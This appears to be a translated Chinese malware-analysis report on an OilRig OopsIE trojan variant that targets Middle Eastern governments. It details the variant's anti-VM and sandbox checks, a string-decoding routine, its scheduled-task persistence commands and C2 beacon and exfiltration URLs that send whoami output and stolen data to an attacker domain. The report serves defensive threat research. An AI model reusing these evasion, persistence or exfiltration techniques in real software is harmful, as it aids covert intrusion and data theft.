导语:OilRig组织仍然是中东地区的网络公敌,虽然使用相同的工具和攻击技巧,但也会在工具中不断的加入新的功能。
OilRig组织仍在使用之前发现的工具和攻击技术来攻击中东区域的政府组织。但使用的攻击工具又有一些更新,比如使用的鱼叉式钓鱼攻击邮件中就有社工技术的诱饵文件,诱使受害者执行恶意附件。附件是2018年2月发现的OopsIE木马的变种,变种的大部分功能与OopsIE一样,但新加入了反分析技术和反虚拟机执行的功能,防止自动防护工具的自动分析。
攻击细节
2018年7月,研究人员报告了OilRig组织使用QUADAGENT工具攻击中东政府组织。研究人员发现在攻击过程中,OilRig利用同一机构内被黑的邮箱账号发送鱼叉式钓鱼邮件来传播OopsIE木马(payload)。与传播QUADAGENT的攻击活动不同的是,OopsIE攻击的目标是同一国家的政府机关。邮件的主题是阿拉伯文,翻译过来就是“业务持续性管理培训”。邮件的收件人是一个用户组,而不是单个邮件地址。通过开源数据收集发现,被攻击的政府机关在网上公布了许多与业务持续性管理培训相关的文档,说明钓鱼邮件是社工后伪造的。
绕过技术
攻击中的OopsIE变种在执行后会进行一系列的反虚拟机和反沙箱检查。如果检查出表1中的结果,就退出运行。
Fan检查
木马会执行WMI查询:
Select * from Win32_Fan
根据MSDN的文档,上面的查询会返回一个提供CPU fan数据的类。木马会检查查询返回的类中的元素,在非虚拟环境下该结果为true。
Temperature检查
木马会执行WMI查询:
SELECT * FROM MSAcpi_ThermalZoneTemperature
木马会尝试获取对象的CurrentTemperature值,并检查产生的错误中的结果。也就是说该检查是寻找不支持的结果,即运行在虚拟机中的结果。
鼠标指针检查
木马会执行WMI查询:
Select * from Win32_PointingDevice
木马会检查字符串VMware、Virtual、VBox、VM 、Oracle的结果中的Caption、Description、HardwareType、InfSection、Manufacturer和Name域。
硬盘检查
木马会执行WMI查询:
Select * from Win32_DiskDrive
木马会检查VMware、Virtual、VBox、VM 、Oracle的结果中的Caption 和Model域。
Motherboard检查
木马会执行WMI查询::
Select * from Win32_BaseBoard
木马会检查VMware、Virtual、VBox、VM 、Oracle的结果中的Manufacturer和Product 域。
Sandboxie DLL检查
木马会通过LoadLibrary加载SbieDll.dll模块。
VBox DLL检查
么木会检查系统目录中是否存在vboxmrxnp.dll文件。
VMware DLL检查
木马会检查系统目录中是否存在vmGuestLib.dll或vmbusres.dll文件。
Timezone检查
木马会检查系统是否配置下面的时区:
Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5
人机交互检查
在执行功能代码前,木马还会展现一个含有下面代码的对话框:
Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null);
对话框会在处理user32.dll!时会出现错误,只有当用户点击ok按钮木马才会继续运行功能代码。
大多数的绕过技术都是其他恶意软件家族使用过的,其中:
CPU fan检查之前没有其他恶意软件使用过,研究人员在VMware Windows 7虚拟机中进行了WMI查询测试,测试结果如图1。
图1 在VM上WMI查询Win32_Fan类,并不返回数据
但在运行Windows 7的物理机上进行查看,结果如图2,会返回Win32_Fan类的内容。OopsIE payload会检查查询的结果中多个元素来决定是否运行在虚拟机中。
图2 在物理机上WMI查询Win32_Fan类,会返回数据
GravityRAT的payload中使用过CPU temperature检查。但该技术会有一些报错的情况,因为一些物理机并不支持WMI查询。也就是说其他基于WMI的VM检测技术也可能将不支持特定WMI查询的物理系统识别为虚拟机。
关于时区检查,如果系统的时区设置并不是特定的时区(如下),木马就不会执行功能代码。木马会将TimeZone.CurrentTimeZone.DaylightName的特性于字符串Iran、 Arab、Arabia、Middle East进行比较,这些字符串对应的Windows时区分别是:
Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5)
这5个时区涵盖了图3中的10个国家。木马部在非特定时区内执行说明这是一个针对特定国家和地区的定向攻击。
图3 OopsIE基于时区运行的国家范围
不同点
OopsIE木马和变种在攻击中传播的功能代码非常相似。包括在系统中使用定时任务来达到驻留的目的,与C2服务器进行通信。与之前的OopsIE木马一样,该变种会使用IE应用对象请求来获取命令。木马会从C2的HTTP响应中检查<pre>和</pre>标签来从数据中分割出命令。
OopsIE变种与之前版本也有许多不同,比如变种大多数字符串都是混淆过的,可以将连字符用作分隔符来分割字符串,将每个分割出来的值看作一个证书,然后减一转换成字符。下面是OopsIE用于解码字符串的代码:
out = "" for e in obfuscated_string.split("-"): out += chr(int(e)-1)
首次运行时,OopsIE变种会运行一系列的检查来避免在分析环下运行。最后一步检查是人机交互,如图4所示,需要用户点击ok按钮才能继续。
图4 OopsIE显示的错误对话框
在显示错误对话框后,木马会运行下面的命令休眠2秒钟。选择的命令在之前的变种中没有出现过,应该是在最新的攻击中加入的。
cmd.exe /C choice /C Y /N /D Y /T 2 & Del
休眠后,木马会创建一个GUID并将其写入%APPDATA%\Windows\GDI.bin中。然后将其移动到%APPDATA%\Windows\WindowsImplantment.exe中,并将所有文件隐藏。
木马移动到最后的位置后,就会创建一个定时任务来运行一个VB脚本,确保可以驻留运行。木马会访问名为Sch和VBS的资源,资源中含有可以创建定时任务和VB脚本的命令的混淆字符串。从Sch资源中解码的字符串为:
SchTasks /Create /SC MINUTE /MO 3 /TN “%n%” /TR “wscript %path%” /f
从VBS资源中解码的字符串为:
CreateObject(“WScript.Shell”).Run(“%app%”)
Sch任务命令中的%n%字符串会被保存到GDI.bin中的GUID替换。与之前的OopsIE有所不同的是之前的OopsIE会对定时任务使用硬编码的任务名。定时任务命令中的%path%字符串会被下面的路径替代:
%APPDATA%\Windows\ShwDoc.VBS
从VBS资源中解码的字符串会写入ShwDoc.VBS中。VBScript脚本中的%app%字符串会用%APPDATA%\Windows\WindowsImplantment.exe来替代。定时任务最终会尝试每3分钟运行一次木马,从中可以看出OopsIE非常依赖定时任务,因为运行的过程中没有主循环。
在创建了驻留的定时任务后,木马会与C2服务器进行通信,而这一过程与之前的OopsIE木马非常相似。样本使用的C2服务器域名有:
www.windowspatch[.]com
新版本的木马与原来版本的一个明显区别是C2 url中的字符串是逆序的,chk->khc,what->tahw,resp->pser。OopsIE变种用whoami命令的输出作为与C2服务器通信的URL中的参数,而之前的OopsIE变种用环境变量的主机名和用户名作为参数有很大的区别。C2是用下面的URL作为信标开始通信的:
hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)>
如果C2服务器想要发送命令,就返回whoami命令的结果来响应信标。如果木马接收响应,就会创建文件%APPDATA%\Windows\ShwDoc.srv,木马会用该文件作为信号来与C2服务器进行通信。
如果木马认为C2服务器想要发送命令,就发送HTTP请求到URL:
hxxp://www.windowspatch[.]com/tahw?<hex(STDOUT of whoami command)>
木马首先会检查字符串spoo的响应,就是C2不想发布命令的意思。否则,木马会从响应中分离出命令,以<>为分隔符,<>左边是命令,右边为命令的参数。OopsIE变种的命令句柄与之前版本的命令句柄非常相像,都有命令1、2、3,如表1所示。唯一不同的是boom!命令,可以从系统中卸载OopsIE木马。
表1 OopsIE命令
在运行命令后发送数据到C2服务器,木马会用下面的URL结构(BBY/BBZ)来分割whoami输出和窃取的数据:
http://www.windowspatch.com/pser?<hex(STDOUT of whoami command)(BBZ|BBY)hex(up to 1000 bytes of hexadecimal data)
结论
OilRig组织仍然是中东地区的网络公敌,虽然使用相同的工具和攻击技巧,但也会在工具中不断的加入新的功能。研究人员通过分析新样本发现OilRig开始向工具中添加一些不易发现的功能,比如在后门中重度使用DNS tunneling,在webshell中加入认证。攻击活动并无不同,但在工具中加入了反分析功能。